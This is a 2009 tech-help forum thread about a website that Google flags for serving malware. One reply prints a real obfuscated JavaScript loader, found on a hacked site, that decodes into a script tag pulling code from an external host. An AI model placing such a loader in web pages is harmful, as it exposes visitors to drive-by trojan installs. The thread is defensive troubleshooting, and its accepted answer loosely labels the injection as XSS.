Solved

Google Warning- visiting this web site may harm your computer!

Posted on 2009-07-06
5
691 Views
Last Modified: 2013-12-09
When I click on my website through Search result from Google, I get Warning

It says - visiting this web site may harm your computer!

Also it says following:-
What happened when Google visited this site?
Of the 2 pages we tested on the site over the past 90 days, 2 page(s) resulted in malicious software being downloaded and installed without user consent.

Please let me know how to identify this issue and resolve it.
0
Comment
Question by:tps2009
[X]
Welcome to Experts Exchange

Add your voice to the tech community where 5M+ people just like you are talking about what matters.

  • Help others & share knowledge
  • Earn cash & points
  • Learn & ask questions
  • 3
  • 2
5 Comments
 
LVL 11

Expert Comment

by:techzter
ID: 24784384
Check through the code on your pages and look for something calling an external site, or a java script which is not yours.

I can't recall what they were calling this type of attack but it was growing like wildfire over the past few months. The attacks is sneaky and subtle. They don't alter the appearance of your pages at all. They just insert some code into your page and whoever hits the page unwittingly is opening themselves up for a trojan install to be put to use at a later date. If I can find some of the articles I will post them back here. In the meantime start browsing that code.

This is a sample of the code that I had found hidden in a particular site that was hacked.
### javascript hack ###

<script language=javascript><!--

document.write(unescape('hi%3C8bJsxqicridjpt%20src%3D8bJ%2Fxqi%2Fxqi9CCO4VV5%2E247%2ESB2%2E1sE9ksk5%2FjPIUqu8bJehirSBy%2EVV5jsksk%3Exqi%3Chi%2Fscdjript%3E').replace(/8bJ|dj|ksk|SB|VV5|PIU|hi|CCO|xqi|sE/g,""));

 --></script>
0
 
LVL 11

Expert Comment

by:techzter
ID: 24784399
Beyond just the page code do you also have some java scripts that run? Make sure to check the coding within those scripts as well to make sure that they are not executing some external code.
0
 
LVL 1

Accepted Solution

by:
Mokona earned 500 total points
ID: 24792948
Thats called XSS - Cross Site Scripting

http://en.wikipedia.org/wiki/Cross-site_scripting
0
 
LVL 1

Expert Comment

by:Mokona
ID: 24792962
To prevent that from happening you should parse all inputs and strip the <script> tag or convert all applicable characters to HTML entities.

0
 
LVL 11

Expert Comment

by:techzter
ID: 24815704
@tps2009

How are things coming along? Have you been able to find some code that was causing your site to be flagged?
0

Featured Post

Forrester Webinar: xMatters Delivers 261% ROI

Guest speaker Dean Davison, Forrester Principal Consultant, explains how a Fortune 500 communication company using xMatters found these results: Achieved a 261% ROI, Experienced $753,280 in net present value benefits over 3 years and Reduced MTTR by 91% for tier 1 incidents.

Question has a verified solution.

If you are experiencing a similar issue, please ask a related question

Get to know the ins and outs of building a web-based ERP system for your enterprise. Development timeline, technology, and costs outlined.
When crafting your “Why Us” page, there are a plethora of pitfalls to avoid. Follow these five tips, and you’ll be well on your way to creating an effective page.
The viewer will learn how to dynamically set the form action using jQuery.
The viewer will learn how to count occurrences of each item in an array.

733 members asked questions and received personalized solutions in the past 7 days.

Join the community of 500,000 technology professionals and ask your questions.

Join & Ask a Question